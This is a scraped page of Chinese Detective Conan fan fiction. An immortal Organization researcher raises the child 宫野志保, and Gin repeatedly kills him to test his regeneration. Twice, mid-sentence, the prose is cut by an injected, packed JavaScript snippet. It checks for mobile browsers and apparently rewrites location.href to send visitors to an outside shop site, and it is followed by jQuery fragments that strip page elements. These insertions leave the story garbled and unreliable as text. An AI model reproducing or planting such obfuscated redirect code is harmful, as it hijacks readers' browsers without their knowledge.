宫野志保看着他。这时候她才发现森川海的眼睛其实是很浅的红,像是玻璃珠泡在水里,或者某种矿石在光下透出的颜色。他说话的声音很轻,语速很慢,每个字都像是想好了才说出来。 她没说话,接过那杯水,小口小口地喝。 飞机飞了很久。她睡了一觉,醒来的时候发现身上盖着他的外套。他坐在旁边,看着窗外,不知道在想什么。云层外面是黑的,什么也看不见,但他就那么看着,好像能看见什么她看不见的东西。 “我姐姐呢?”宫野志保问。 他转过头来看她。那双红眼睛看着她,过了一会儿才说:“她在日本。” “我要回去。” “不行。” 她盯着他。他也在看她,目光很平静,没什么表情,但也不凶。宫野志保那时候还小,不知道怎么形容那种眼神——不像是在看一个陌生的小孩,也不像在看一个需要完成的任务。 “你爸妈死了。”森川海说。 她没吭声。 “组织派我来照顾你。我们要去美国,你住我那儿。” 宫野志保低下头,蜷缩在座椅里,把自己缩得很小。他没再说话。过了一会儿,她感觉他把外套又往上拉了拉,盖住她露在外面的肩膀。 波士顿的公寓在四楼,两室一厅,窗户外面能看见一条河。 森川海把她的行李放在小房间的门口,说:“你住这间。”然后他就进了另一间,关上门,一直到晚上才出来。 宫野志保坐在自己房间的地板上,看着那个行李箱。箱子是她自己收拾的,在火烧起来之前的那天下午。她装了几件衣服,一本图画书,一支铅笔。她本来以为是要去看妈妈。 可是妈妈没有来。 …… 森川海做饭很难吃,非常难吃。 她被接回家的第一天,森川可能想尽量体贴些,没和她接触,站在门口把盘子放在地板上,然后退出去带上门。 宫野志保低头看盘子。 是一块肉,还有一堆绿色的东西。肉是焦的,边上全是黑色。绿色的东西软塌塌地堆在一起,她凑近了闻,没闻出是什么。 对一个五岁的孩子来说,现在确实是饿的时候。但宫野志保用叉子戳了戳那块肉,硬的,叉子戳不进去,敲一敲能听见响声。她换了个角度,使劲戳,终于戳下一小块,放进嘴里。 嚼不动。 她嚼了很久,嚼到腮帮子发酸,硬吞下去。那堆绿色的东西她尝了一口,咸得发苦,苦得舌头都麻了,她赶紧吐了出来。 她坐在那里看着盘子,肚子还在叫。 这应该是食物吧?宫野志保犹豫了一会儿。如果这个人想毒死她,应该不至于带到美国才动手。 后来她饿得受不了,又戳了几块肉,每块都嚼了很久,喝了很多水,才勉强把那块肉吃完。绿色的东西她没再碰。她把盘子端出去,放在厨房的台子上。森川海坐在客厅的沙发里,在看一本书。他抬起头看了她一眼,又低下头继续看。 她站在那里,等了一会儿。 森川海没说话。 第二天早上盘子不见了,中午她又看见两个盘子放在厨房台子上,和昨天一模一样:一块焦黑的肉,一堆不知道是什么的绿色东西。 宫野志保站在台子前面看了很久。 一定要吃吗? 森川海从房间里出来,看见她站在那里,脚步顿了一下。然后他走过来,把两个盘子端起来,放到餐桌上,又拿了两个勺子,摆好。 “吃饭。”他说。 宫野志保坐到餐桌前,看着森川海把那块肉切开,叉起一块放进嘴里,嚼了嚼,咽下去。脸上什么表情都没有,好像吃的是很正常的东西。 就算真的打算毒死她,这种牺牲也太大了。 宫野志保低下头,开始吃这勉强能称为饭的东西。还是嚼不动,还是咸得发苦。她忍着,努力一口一口往下咽。吃到一半的时候宫野志保她抬头看了森川海一眼,发现他也在看她。 那双红眼睛看着她,很安静,没什么特别的表示,但就是一直看着。不是监视,也不是打量,就只是……看着。 宫野志保把视线移开,继续吃。 那天下午她拉肚子了。 一个星期之后,宫野志保确定了两件事。 第一,森川海做的饭,不管是什么都很难吃。他做过肉,做过鱼,做过米饭,做过汤。肉永远是焦的,鱼永远是腥的,米饭永远是夹生的,汤永远是没法喝的。她不知道他是怎么做到的,明明每次都是不同的东西,最后端上来的却都是一样的难吃。 食材知道自己被做成这种东西应该也会难过的。 第二,森川海好像完全不觉得自己做的饭难吃。 每天三餐,他会准时把盘子端出来摆在餐桌上,然后坐在对面,安静地吃完自己那份。 宫野志保试过问他:“你尝不出来吗?” 森川海抬起头看她:“尝不出什么?” “这个——”她指着盘子里的东西,那块肉今天格外黑,黑得像炭,“很难吃。” 森川海低头看了看盘子。宫野志保从这个动作里看出了一丝挫败——很淡,几乎看不出来,但她就是感觉到了。然后森川海说:“还行。” 她不知道他说的“还行”是什么意思。是真的觉得还行还是无所谓,还是故意这么说。她那时候太小,看不出他的表情——森川海脸上总是没什么表情,只有那双眼睛,偶尔看她的时候会让她觉得怪怪的。 那种眼神很难形容,不是她见过的那些大人看小孩的样子,像是在看什么很远的东西,透过她在看别的什么。 有一次宫野志保睡不着,半夜起来探索这个地方,经过森川海房间门口时,看见门缝底下有光。她凑过去听,听见里面有人在说话,声音很轻,听不清说的是什么。偶尔停一下,然后又继续说,像是在打电话,又像是在自言自语。 她在门口站了一会儿,光着脚,地板很凉。 后来她回去了,钻进被窝里想着那个声音,森川海的声音和白天不太一样,更轻,更慢,像是在说什么很重要的事。 她不知道他在说什么,也不知道他在跟谁说。 宫野志保以为这种日子会一直持续下去。 每天吃难吃的饭,每天看着他坐在对面安静地吃完,每天被他用那种奇怪的眼神看几眼。她开始习惯那种眼神,开始习惯难吃的饭,习惯这个不爱说话的人。 结果有一天晚上,她肚子疼醒了。 疼得很厉害,像是有什么东西在肚子里绞,绞得她整个人都蜷起来。她蜷在床上,咬着被子,不敢出声。疼了好一会儿,稍微好了一点,她爬起来去厕所。 经过客厅的时候,她看见沙发上坐着一个人。 是森川海。 他没开灯,就那么在黑暗里坐着,不知道坐了多久。她站在走廊口,看着他的背影。他的肩膀微微弓着,头低着,像是在看地板,又像是什么也没看。月光从窗户照进来,在地上投下一块长方形的光,他就坐在那块光的边缘。 她站在那里没动。 过了一会儿,他动了动,转过头来。 黑暗中她看不清他的脸,只看见那双眼睛。红色的,在黑暗里像是会发光似的,比起人类更像某种动物,多少有点让人害怕。 “不舒服?”森川海问。 她点点头。 森川海走过来。走近了,她看见他的脸,和白天一样,没什么表情,但他伸出手放在她额头上,手心很凉,凉得她打了个哆嗦。 “怎么发烧了。” 然后森川海把她抱起来,和那天晚上一样,一只手托着她的后脑勺,把她按在肩膀上。她靠在他肩上,闻到他身上有股很淡的味道,像是肥皂,又像是别的什么,让她想到实验室的消毒水。 他抱着她出了门。 后来她才知道,那天晚上她得了急性肠胃炎。医生说是食物中毒,让森川海看好孩子别乱吃东西。森川海说她只吃了自己做的饭,医生让他别给孩子下毒。 宫野志保在医院里躺了两天,森川海也陪着待了两天,就坐在病床旁边的椅子上,不怎么说话,也不怎么动。偶尔她会睁开眼睛,看见他还坐在那儿,姿势都没变过。 第二天姐姐打电话来了。 森川海把电话拿到她床边,她听见姐姐的声音,突然就哭了。这是从那天晚上之后她第一次哭。她也不知道为什么哭,就是听见姐姐的声音,眼泪就下来了。 姐姐在电话那头也哭了,一边哭一边问她好不好。她说好,说自己还在上学,说一切平安。 她没 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她开始学着做不同的东西。有时候做得好,有时候做得不好。做得不好的时候,森川海也会吃完,一点不剩。 她问他:“不好吃你怎么也吃完了?” 森川海说:“能吃。” 她不知道他说的“能吃”是什么意思。但后来她慢慢发现,他是真的觉得什么都“能吃”。宫野志保做过一次红烧肉,糖放多了,甜得发腻,她自己都吃不下去。他照样吃完,照样说“能吃”。 她想,这个人可能真的尝不出好坏。 但除了做饭,森川海好像什么都会。 不是学校教的那些,对天才来说这些知识太慢了,慢的跟不上他们的脚步。宫野志保早就不需要上学了,只是森川海还在坚持,坚持说她需要和人交流。 而其他的东西,就由森川海教过她。 后来她才知道,森川大学读的是物理,研究生读的是生物化学。她不知道这样的人为什么会加入组织,她没问过,他也不说。 有时候晚上,宫野志保起来喝水,经过森川海房间,会看见他坐在书桌前,台灯开着,对着电脑屏幕。屏幕上全是密密麻麻的字和数据,她瞄一眼就不想再看。他看得很认真,偶尔打几个字,偶尔翻一翻手边的书。那本书很厚,封面上全是英文。 她不知道他在做什么工作,他从来不提,她也不问。 有时候森川海会消失一整天。早上还在,中午回来的时候就不见了,晚上也不回来吃饭。第二天又出现了,脸上看不出什么变化,但她总觉得哪里不太一样——也许是走路的声音轻了一点,也许是看她的时间久了一点。 有一次她问森川海:“你去哪儿了?” 森川海看着她,过了一会儿说:“工作。” 宫野志保没再问。 时间久了,宫野志保开始注意到一些事。 比如森川海看自己的时候,像是要确认什么。比如他从来不碰她,带她出门走在路上,会和她保持一点距离,不会牵她的手,也不会揽她的肩膀。但她需要什么时他总是在旁边,过马路的时候,他会走在她外侧;下雨的时候,他会把伞往她那边倾。 比如他记得她所有的事。 宫野志保问:“你对我这么好,是因为组织让你照顾我吗?” 他看着她,沉默了很久,久到宫野志保以为他不会回答了。窗外的天色已经暗下来,厨房里传来炖汤的声音,咕嘟咕嘟的。 “不全是。”森川海说,“其实你是我抢来的。” 宫野志保等着他往下说,但他没再说。那天晚上她躺在床上,一直在想他那句话。不全是。那就是有一部分是。可为什么是抢来的?宫野志保想不明白。 ……她长得也没有很像她妈妈吧? 总不能是爸爸? “我没在吃代餐。”森川海试图解释,“这不是正餐吗——这里是无cp频道我谈不到恋爱的。” 宫野志保:“……” 这个人还爱说一些很奇怪的话。 她总觉得森川海看自己的眼神很奇怪,像是在看什么很重要的人,又像是在看什么很遥远的东西。 那天晚上她睡不着,起来喝水。经过森川海房间时,他的门没关严,露出一条缝,里面有光还有声音。宫野志保本来想直接走过去,但听见他在说话,脚步就停了一下。 “……我知道。”他在说,声音很轻,“我有分寸,琴酒。” 她站在那里没动。 “不会的。”他又说,“我会照顾好她。” 沉默了一会儿。 “不是那个意思。我只是……” 又沉默了。 她站在门外,听着那些断断续续的话。不知道他在跟谁说话,也不知道前面说了什么。但有一句话她听清了。 “她不知道。别告诉她。” 然后里面没声音了。 她站在那里,站了很久。走廊里很暗,只有从门缝里透出来的那一线光,落在她光着的脚上。她低头看着那道光,看着自己脚趾上沾的灰尘。 后来她回到自己房间,躺回床上,看着天花板。 她不知道什么?别告诉她什么? 她想起他看她的眼神,想起他每次多停的那一两秒,想起他说“不全是”的时候那个表情。想起他站在车外望着火光的背影,那个看起来很难过的背影。 她想起父母实验室的那场大火。 那天晚上,他把她从火场里抱出来,站在车外面望着那片火光。她趴在车窗上看见他的背影,觉得那个背影看起来很难过。 那时候她不知道为什么。 29.029 森川海开始教她东西,是在她到美国半年之后。 那天她放学回来,看见餐桌上放着一本书。封面是蓝色,印着一些化学式。森川海坐在沙发上看报纸,见她进来抬起头说:“那是给你的。” 宫野志保走过去拿起那本书翻开,第一页全是英文,密密麻麻。 “我看不懂。”宫野志保说。 “慢慢看。”森川海把报纸翻过一页,“有不懂的问我。” 宫野志保不知道他为什么要给她这本书。她才六岁,即使对天才来说这个年纪也太小了。但他既然给了,她就看。她坐在地板上,把书摊在面前,遇到不认识的单词就查字典,遇到看不懂的句子就拿着书去找他。 森川海总是在那里。坐在沙发上,或者坐在书桌前,或者在厨房里泡茶。她拿着书过去,指着一个词问他什么意思。他看一眼告诉她,然后继续做自己的事。有时候她问得多了,他会放下手里的事,坐到她旁边来,把书接过去,从头开始一点一点讲。他的声音很轻,讲得很慢,像是在念什么重要的东西。 有一天晚上,她突然看懂了一个方程式。 就是那种感觉——盯着看了很久,每个符号都认识,但连在一起不知道是什么意思。然后突然一下,像是有根线通了,那些符号变成了一个画面,在脑子里清清楚楚地呈现出来。 她抬起头,看见森川海在看她。 那双水红色的眼睛看着她,和平常一样又不太一样。她说不上来哪里不一样,只觉得他好像笑了一下,又好像没有。 “懂了?”森川海问。 她点点头。 他没说话,低下头继续看书。 宫野志保低头看着那个方程式,又看了一遍,还是懂的。感觉很奇怪,像是一扇门在脑子里打开了,门后面是一条很长的路,她站在门口,不知道路通向哪里,但知道只要往前走,就能看见更多的东西。 从那以后,森川海开始教她更多。 数学,物理,化学,生物。他不按部就班,也不管她学到哪儿,就是想到什么教什么。有时候是书上的内容,有时候是他突然想起的什么东西。她学得进去就学,学不进去就放着,他也不催。 宫野志保慢慢发现,他教的东西和书里的不一样,书给她的知识分成一块一块,今天学这个,明天学那个,互相之间没什么关系。他教的东西是连在一起的,从一个点开始,慢慢往外扩,扩到最后能绕回原来的地方。 有一次她问森川海:“你怎么什么都知道?” 森川海看着她,说:“因为我学了很多年。” “学了多久?” “从像你这么大的时候开始。然后重复了很多次。” 宫野志保没听明白什么叫“重复了很多次”,但她想了想,说:“难怪你什么都会。” 森川海沉默了一会儿,没有说话。窗外有鸟叫声传进来,他转过头去看了一眼,然后又转回来,继续讲刚才那道题。 …… 有时候他们会搞得很晚。 通常是她在做他给的题目,做着做着入了神,等反应过来,窗外面已经黑了。他坐在旁边也在看东西,不知道什么时候泡的茶早就凉了,茶叶沉在杯底,像一小堆深色的泥。 “以后定个时间。”森川海说。 “什么?” “不能超过九点。” 宫野志保看着他,不明白什么意思。 “你姐姐说的。”森川海顿了顿,“让我看着你。” 她愣了一下。然后笑了。 但有时候还是会超过。 不是故意的,就是两个人都忘了时间,等反应过来已经十点多了。 第二次发生这种事的时候,森川海的手机响了。 宫野志保正在看一本书,她正看到有意思的地方,听见手机响,抬起头看见他看了一眼屏幕,眉头微微动了一下,然后接起来。 “喂。”森川海说。 那边不知道说了什么。他听着,没说话。过了一会儿,他回应:“知道了。” 挂了电话,森川海把手机放回口袋继续看他的电脑。宫野志保看着他的侧脸,想问他什么又没问。 后来她知道了。那个电话是琴酒打来的。 她知道琴酒是谁,却没见过琴酒这个样子。每次他们搞到太晚,琴酒就会打电话来。有时候是晚上,有时候是凌晨。她从来没听见过那边说什么,只听见森川海在这边“嗯”、“知道了”、“好”。他的声音一直很平静,像是什么都没发生,但她慢慢学会了从他握电话的姿势里看出一点东西——如果手指握得紧,说明那边说的话不太好听。 有一次宫野志保问:“那个人是谁?” 森川海看着她说:“同事。” “他为什么打电话来?” 他想了想,说:“提醒我时间。” 后来有一次,那个人直接来了。 那天是周末。他们从下午开始研究一个问题。森川海一定知道答案,但他不说,只是和宫野志保一起一遍遍试错。 然后就试了一下午。 她拿笔在纸上画,他坐在旁边看,偶尔说一两句。窗外的光线一点点移动,从书桌移到墙上,再从墙上移到天花板上。等到她抬起头,窗外面已经黑了。她看了一眼墙上的钟,十一点四十。 门铃响了。 宫野志保愣了一下。 森川海站起来,走过去开门。 她坐在客厅的地板上,看不见门口,只听见门开了,然后是一个男人的声音。 “你在干什么?” 那个声音很低,有点沙哑,听着让人不太舒服。她不知道是谁,只觉得那语气很不客气,像是石头砸在石头上。 “在忙。”森川海说。他的声音还是那样,很轻,很慢。 “忙什么?” “教她。” 沉默了一会儿。然后那个声音说:“你知道现在几点了吗?” “知道。” “那你知不知道你在干什么?” 森川海没有回答。 她坐在地板上,心里有点慌。那个人的语气越来越不对。宫野志保想站起来去看看,又觉得不应该动,只能把手里的书攥紧了一点。 有人走进来了。 她看见了那个人。很高,穿着一件黑色的风衣,头发很长,是银色的,在灯光下泛着冷光。他站在那里,低头看着她,眼睛是冷的,像冬天的湖水,什么表情也没有。 是琴酒。 宫野志保攥紧了手里的书,指节都发白了。 琴酒看了她一眼,然后把视线移开,看向森川海。 “出来。” 森川海站在那里,看着她。那双红眼睛在她脸上停了一秒——她后来想起那一秒,觉得那是一个确认,确认她还好,确认她没事——然后他对那个人说:“等一下。” 他走进来,弯下腰,把她放在地板上的书收起来,摞好,放到茶几上。然后他直起身,看着她,说:“先去睡觉。” 宫野志保在紧张和恐惧中张了张嘴。 森川海没等她回答,转身跟着那个人出去了。门在他们身后关上,发出一声闷响。她坐在那里,听着脚步声越来越远。然后什么也听不见了。 她不知道坐了多久。客厅里很安静,只有墙上钟表的声音。后来她站起来,走到窗边,往下看。 楼下停着一辆黑色的车,车旁边站着两个人,路灯的光照在他们身上。她看见森川海站在琴酒对面,两个人离得很近。那个人在说什么,森川海只是听。 她看不清他们的脸,只看见森川海的背影。 琴酒突然抬起手,手里有什么东西,在路灯下反了一下光。 宫野志保心里一紧。 是枪。 她把脸贴在冰凉的玻璃上盯着下面。琴酒拿枪指着森川海,她看得很清楚,只要那个人动一下手指—— 她站在那里,呼吸都停了。 但森川海没动。 他就那么背对着她,回答什么又说了什么。琴酒把枪收起来,转身钻进车里,开车走了。黑色的车尾灯在黑暗中亮了一下,然后消失在道路尽头。 森川海站在那里,看着那辆车开远。然后他转过身,抬头往上看。 她站在窗户后面,和他对上了视线。 他看了她一会儿。隔着五层楼的距离,她看不清他的表情。 那天晚上宫野志保躺在床上,很久没睡着。她想着那支枪,想着琴酒冷冰冰的眼神,想着森川海站在那里一动不动的样子。她想,他在组织里到底是什么人?为什么那个人会用枪指着他?他会不会真的有危险? 但她又想,他说不会。 他说的话,好像从来都是真的。 那次之后,宫野志保开始注意一些以前没注意的事。 比如森川海从来不让她一个人出门,比如她从来听不清他的电话,比如他有时候会在半夜消失又出现。 也是从那时候开始,宫野志保发现他和别的“研究人员”不一样。 她不知道别的研究人员是什么样的,但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17222645|197044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她知道姐姐在日本过得是什么日子。姐姐每次打电话来,都只说好的,但她听得出姐姐的声音里有藏不住的害怕和小心,不敢说错一个字。 她们不能经常见面,一年最多两次。每次见面都是在组织安排的地方,有人看着,时间到了就得分开。姐姐抱她的时候总是抱得很紧,像是在抱什么会丢的东西。 她问过森川海:“为什么姐姐不能来?” 森川海说:“因为组织不允许。” 宫野志保又问:“那为什么我可以在这里?” 他看着她,没回答。 但宫野志保慢慢想明白了。不是因为她是她,是因为森川海在。因为他在这里,所以她才能在这里。因为他这样看着她,所以别人才不来打扰她。 她想,森川海一定不止是“研究人员”那么简单。 但她不知道他到底是什么。 她曾经偷听到过森川海和琴酒的谈话。宫野志保本来想直接走开,但听见了一句话,脚步停住了。 “……她不行。”森川海在说,“她还太小。” 沉默。那边在说什么。 “我知道。但不行。” 又是沉默。 “你以为你在干什么?”那个声音突然大了起来,是从电话里传出来的,她听不太清,但听得出是琴酒的声音,“你以为你在保护她?” 宫野志保站在那里,一动不动。 “那些研究她迟早要参与。”琴酒说,“你以为你能一直拦着?” “我可以代她去。”森川海说。 沉默。 “你代她?”琴酒冷笑了一声,像冰碴子划过玻璃,“你凭什么代她?” 森川海没有回答。 “森川,你在干什么你自己清楚。你以为她是谁?你以为你是谁?” “我知道她是谁。”他声音很轻。 又是沉默。 “你会后悔的。” 电话挂了。 宫野志保站在那里,手心里全是汗。她不知道自己听到了什么,但那些话她每一句都听懂了。研究。参与。代她去。保护她。 门开了。 森川海站在门口,看见她,愣了一下。 她也看着他。 两个人就那么站着,谁也没说话。走廊里很安静,她能听见自己的心跳,咚咚咚的,很响。 森川海看着她,那双红眼睛里有她看不懂的东西。过了好一会儿,他说:“都听见了?” 她点点头。 森川海沉默了一会儿,那双红眼睛在她脸上停了很久,久到她以为他不会回答了。窗外的光线透过窗帘的缝隙照进来,在地板上投下一道细细的光。 然后森川海问:“你想离开吗?” 宫野志保愣住了。 离开?离开这里?离开组织? 她从来没想过这个问题。从五岁那年被带到这里,她就知道自己属于组织。姐姐在组织里,父母在组织里,她将来也会在组织里。这是她唯一知道的事。 “什么……意思?”宫野志保问。 “如果你有机会离开这里,离开组织,你想走吗?” 宫野志保不知道该说什么,这像是一个甜美的陷阱。组织里的人怎么可能离开?离开了会怎么样?姐姐怎么办?他们会让她走吗?还是会在她背后开一枪? 森川海好像看出了她在想什么,说:“不是现在,但总有一天。” “总有一天?” “总有一天,”他说,“我会带你们走,你和你姐姐。” 那双红色的眼睛看着她,里面没有试探也没有算计,只有一种很安静的东西。那种东西她在他眼睛里见过很多次——在她解出难题的时候,在她半夜醒来发现他在客厅里坐着的时候,在他带她回来的时候。 “为什么?”宫野志保又问了一遍。 “……因为家人就是这样的。” 家人。 这个词宫野志保很久没听过了。从父母死了之后,她只有一个姐姐,姐姐是家人。 但他是吗? “你会希望家人幸福自由。”森川海说,“不用一直活在阴影下。” 窗外面,天已经黑了。路灯亮起来,橘黄色的光从窗帘的缝隙里透进来,在地板上投下模糊的影子。 她坐在他的床边,看着他的脸。灯光照在他脸上,半明半暗的,那双红眼睛在暗处显得更深了。她又一次想起那个晚上,他站在车外面望着那片火光,背影看起来很难过。 她一直不知道为什么。 30.030 森川海第一次见到琴酒,是在他成为研究员的几天后。 那时候他还叫另一个名字,那个名字现在他已经很少想起了。组织给他新身份的时候,问他想要什么名字,他看着窗外的海说,就叫海吧。 他被派到一间实验室,监督他的人就是琴酒。 第一天,琴酒带他进去。第二天,琴酒来了一趟,站在门口看了一眼又走了。第三天,琴酒来的时候,森川海正把一份写好的报告扔进垃圾桶。 “你在干什么?”琴酒问。 森川海抬起头,看着门口那个人。银色长发,黑色大衣,眼睛是冷的,像冬天结冰的湖水。森川海看了一眼,然后继续把剩下的报告撕成两半。 “数据是假的。”他说,“留着没用。” 琴酒走过来,从垃圾桶里捡起那份报告,翻了翻。然后抬起头看他。 “你怎么知道是假的?” “做过一遍。”森川海解释,“结果对不上。” 琴酒看着他,没说话。森川海把撕碎的纸扔进垃圾桶,站起来,走到水池边洗手。水哗哗地流,他从镜子里看见琴酒还站在那里,看着他。 “你叫什么?”琴酒问。 森川海没回头,说:“你不是知道吗。” 沉默。然后他听见脚步声,门开了又关上。琴酒走了。 他关上水龙头,擦干手,看着镜子里的自己。镜子里的男人有一双水红色的眼睛,很浅的那红,像是玻璃珠泡在水里。他盯着那双眼睛看了一会儿,然后转身出去了。 那是他们相处的常态。 森川海看琴酒不顺眼,琴酒看他也一样。 每次琴酒来实验室,他总能找出点什么事来。报告写得不对,样本处理有问题,仪器调试有误差。琴酒指出来,他就说那你来。琴酒不说话,他就接着说,不来就别说。 不干活的人不许挑三拣四。 有一次琴酒掏枪了。 那天森川海在做一份分析,做到一半发现试剂被换了。他放下试管,走到门口,对着走廊喊:“谁动我东西了?” 没人应,他又喊了一遍。琴酒从走廊那头走过来,站在他面前。 “喊什么?” “谁动我东西了?” 琴酒看了他一眼,说:“我。” 森川海愣了一下,然后笑了。不是高兴的那种笑,是那种“你他爹在逗我”的笑。 “你动我试剂干什么?” “换了一批。”琴酒说,“你用的那批过期了。” 森川海盯着琴酒看了一会儿,然后转身回去,继续做分析。做到一半,他停下手里的动作,说:“下次你自己换,不用告诉我。” 琴酒站在他身后,没说话。 过了几秒钟,森川海听见枪上膛的声音。他没回头,继续做手里的活。试管里的液体在加热下慢慢变色,他盯着那个颜色,等着。 枪口抵在他后脑勺上。 “你什么毛病?”琴酒的声音就在他耳边,压得很低,像是什么东西在喉咙里磨,“别以为我认不出你。” 森川海停下手里的动作,没动。过了一会儿,他说:“你开枪试试。” 沉默。 枪口抵得更紧了。他能感觉到那个冰凉的金属压在他头皮上,只要琴酒手指动一下,他的脑袋就会开一个洞。 但森川海没动。他就那么站着等。 枪口移开了。 他听见琴酒把枪收回去的声音,然后是脚步声逐渐走远。森川海回过头,看着走廊那头空荡荡的,什么也没有。 他转回来,继续做分析。 试管里的液体已经变成了正确的颜色。 那天晚上森川海死了。 他不知道那些人是谁。组织里有很多人,很多派别,很多他不知道的事。他从实验室出来,走在回去的路上,路灯坏了几盏,一段路黑一段路亮。有人从暗处冲出来,刀捅进他的心脏。 森川海低头看着那把刀,又抬头看着那个人的脸。那个人很年轻,眼睛瞪得很大,手在抖。森川海握住那个人的手,把刀往外拔了一点,然后往里一推,推得更深。 那个人吓得松开手,跑了。 血在往外流,温热的,顺着衣服往下滴。他靠着花坛坐下来,看着对面的路灯。路灯亮着,有飞虫绕着灯光转,一圈又一圈,周而复始。 他坐在那里等死。 森川海闭上眼睛,又过了一会儿眼睛睁开了。天还是黑的,路灯还是亮的,飞虫还在转。他低头看了看自己的胸口,刀被蠕动的肉推出来,血已经不流了。 森川海把刀扔在一边,伤口边缘已经开始收拢,他能感觉到皮肉在动,像是有什么东西在里面蠕动着把两边拉到一起。 森川海站起来,走了几步,有点晕。他回到家,洗澡换衣服,清理干净满身的血。伤口已经长好了,看不出哪里被捅过。 原来是这样,森川海想。 第二天他去实验室,琴酒已经在里面了。 琴酒看见他,愣了一下。 这一下的时间非常短,如果不是因为森川海曾经是布伦尼文,他甚至看不出来这个人有过片刻的愣神。 琴酒走过来,绕着他转了一圈,上下打量。森川海没动,由着他看。 “昨天有人杀了你。”琴酒说。 “嗯。” “你没死。” “嗯。” 琴酒停下来,站在他面前,盯着他的眼睛。森川海盯回去,琴酒的眼睛是绿色的,像是冬天结冰的湖面。 “你怎么没死?” 森川海想了想:“不知道。” 琴酒看了他很久。 那天下午琴酒亲手杀了森川海。 拿着他惯用的枪,漫不经心地冲他额头按下扳机。森川海看见火光,意识消失了片刻。 又是一次死亡。 他躺在地上,额头上的弹孔在慢慢收拢。他能感觉到骨头在长,肉在长,皮肤在长。 森川海坐起来,看着琴酒。 琴酒站在他面前,手里的枪还指着他的方向,脸上的表情很奇怪。不是害怕也不是震惊,倒像是看着什么不应该存在的东西。 “你现在是什么东西?”琴酒问。 “不知道。”森川海很平静。 “那你曾经是什么东西?” 曾经的布伦尼文也是这样吗?笑着、眯着眼,在琴酒注意到没注意到的地方死了很多次又活过来,最后厌烦这一切离开。 没有回答。 琴酒又开枪了。 这次是心脏。森川海低头看着胸口那个洞,看着它慢慢长好,他抬起头看着琴酒。 脖子、头、腹部、四肢。琴酒换了不同的位置,不同的角度,不同的距离。每次森川海都会死,然后活过来,伤口的血肉蠕动着,诡异又艳丽。 不知道第几次后,琴酒枪里的子弹打完,终于停了下来。琴酒站在那里看着森川海,呼吸有点重。 森川海坐在地上,浑身是血:“打完了?” 琴酒没说话。 森川海站起来,拍了拍身上的灰,走到水池边洗手。水从他手上流下来,红的,慢慢变淡,最后变成透明的。 他从镜子里看见琴酒还站在那里,看着他。 “你现在到底是什么?”琴酒又问了一遍。 森川海看着镜子里的自己,又看着镜子里的琴酒。两个人隔着镜子对望,一个红眼睛,一个绿眼睛。 “不知道。”他说,“但你应该知道了。” 从那以后,琴酒开始做实验。 他把森川海带到不同的地方,用不同的方式杀死他。刀,枪,毒药,窒息,电击,高处坠落。每次森川海都会死,然后活过来。每次活过来他都看着琴酒,等着下一次。 琴酒记录每一次的过程。时间,方式,死亡时长,恢复速度。他有个本子,黑色的封皮,里面密密麻麻写满了数据。森川海有一次凑过去看,琴酒把本子合上收进口袋。 死亡○记? “给我看看。”森川海说。 “不给。” “那是我的数据。” 琴酒看着他:“你是东西吗?” 森川海想了想:“不是。” “那数据不是你的。” 他没再说话。 有一次琴酒烦了,把森川海炸了。 字面意思的炸了。炸弹绑在他身上,引爆的时候他看见琴酒站在远处点了根烟。然后森川海什么都不知道了。等他有意识的时候,他发现自己变成了一堆肉块,散落在地上。 他能感觉到每一块肉,能感觉到它们之间的距离,能感觉到它们在动。他在试着把自己拼回去。 这个过程很慢。森川海有很多时间观察自己。那些肉块在地上蠕动,像是有生命的东西慢慢朝彼此移动。碰到一起之后,它们开始融合,边缘泛起细小的彩色泡沫,变得模糊然后长在一起。骨头也在长,从断口处长出新的部分,和另一边的骨头接上。血管像细细的红线,从这一端伸向那一端接上。 森川海躺在地上,看着自己一点一点变回人的形状。 琴酒站在旁边抽烟,抽完一根又点一根。抽完一盒的时候,森川海已经拼得差不多了。最后一块肉贴上来和身体融合,他睁开眼睛,坐起来。 琴酒把烟掐了。 “完了?”琴酒问。 森川海低头看了看自己,光着的,衣服早就炸没了。他站起来,活动了一下手脚,说:“完了。” 琴酒转身走了。 森川海跟上去,问:“去哪儿?” “回去。” “我衣服没了。” 琴酒没理他。 “好歹给我件衣服,你也不想传出去琴酒——” 又一枪。 后来琴酒不杀他了。 不是不想杀,是没意义。杀了会活,活过来还是那个人,还是那副让人看不顺眼的样子。琴酒试了各种办法都没用,有一次琴酒被气急了,把森川海扔进焚化炉烧成灰,结果那些灰自己聚起来,慢慢变回人形。琴酒站在旁边看着,似乎有点想吐。 从那以后琴酒就不试了。 但他开始注意别的事。 比如别人看见森川海死而复生,会是什么反应。 第一次琴酒发现这件事是在一次任务里。森川海中枪了,当着三个人的面。那三个人看着子弹打穿他的头,看着他倒下过几分钟又站起来,头上连个疤都没有。 那三个人什么都没说,继续做手里的事,像是没看见一样。 琴酒走过去,问其中一个人:“你刚才看见什么了?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17227454|197044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那个人抬起头,说:“什么?” “他。”琴酒指着森川海,“刚才怎么了?” 那个人看了看森川海,又看了看琴酒,说:“没怎么啊。” 琴酒盯着那个人看了很久。那个人被他看得害怕,低下头继续干活。 琴酒又去问另外两个人。一样的反应。他们不记得看见森川海中枪,不记得他倒下,不记得他站起来。他们什么都不知道。 森川海站在旁边,看着这一切。 琴酒走过来,站在他面前。 “他们看不见?”琴酒问。 “可能看见了,但不记得,或者记得,但不觉得奇怪。”森川海说。 